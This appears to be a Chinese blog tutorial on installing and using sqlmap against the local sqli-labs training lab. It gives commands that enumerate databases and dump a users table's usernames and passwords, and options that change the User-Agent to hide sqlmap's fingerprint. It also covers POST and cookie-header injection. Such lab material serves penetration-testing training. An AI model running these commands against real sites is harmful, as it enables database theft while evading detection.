Sqlmap工具下载及使用
文章目录
- 一、Sqlmap
- 二、下载
- 三、使用
- A.注入GET型
- B.注入POST型
- C.注入head头
一、Sqlmap
sqlmap是一款开源的自动化SQL注入测试工具,主要用于检测和利用Web应用程序中的SQL注入漏洞。它支持多种数据库类型(如MySQL、Oracle、SQL Server等),能自动识别注入点,并通过多种技术手段获取数据库信息,包括表结构、数据内容,甚至能执行操作系统命令等。其操作相对简便,通过命令行参数配置目标URL、请求方式等信息,即可自动完成注入测试流程,广泛应用于网络安全渗透测试和漏洞评估场景。
二、下载
-
官网:https://sqlmap.org/
-
github地址:https://github.com/sqlmapproject/sqlmap
-
国内可下载地址:https://gitee.com/yijingsec/sqlmap
三、使用
- 进入sqlmap目录
- 在路径输入cmd
- 输入conda env list,查看环境。
- 根据拥有的环境输入以下命令,出现如图所示界面,即配置成功。
A.注入GET型
- url里只有一个参数(引号可不加)
python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1”
- url里有两个参数(加引号)
python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1&page=10” -p page
- 自动化测试:
--batch
python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -batch
- 获取库名:
--dbs
python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -batch -dbs
- 获取表名:
--tables
,指定数据库:-D
python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -batch -tables -D security
- 获取列名:
--columns
,指定数据表:-T
python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -batch -columns -D security -T users
- 获取数据(拖库,实战中禁用慎用):
--dump
,指定列名:-C
python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -batch -D security -T users -C id,username,password -dump
- GET型注入ua头会带有明显的Sqlmap标识
python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -proxy=http://127.0.0.1:8080 -batch -D security -T users -C id,username,password -dump
- 随机使用User-agent头:
–random-agent
python sqlmap.py -u “http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1” -proxy=http://127.0.0.1:8080 -random-agent -batch -D security -T users -C id,username,password -dump
- 自定义使用ua头
python sqlmap.py -u http://127.0.0.1/sqli-labs/sqli-labs-master/Less-1/?id=1 --proxy=http://127.0.0.1:8080 --user-agent=“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0” -batch -D security -T users -C id,username,password -dump
B.注入POST型
-
打开第11关并打开代理,随意输入数字后点击提交。
-
找到对应数据包,右击复制到文件并保存。
-
测试文件是否存在漏洞。
C.注入head头
sqlmap默认测试所有的get和post参数,level值>2时也会测试cookie头的值,>=3时也会测试User-Agent和Referer头的值,最高可到5。
python sqlmap.py -u http://127.0.0.1/sqli-labs/sqli-labs-master/Less-20/in dex.php --cookie “uname=Dump” --level 2 --dbs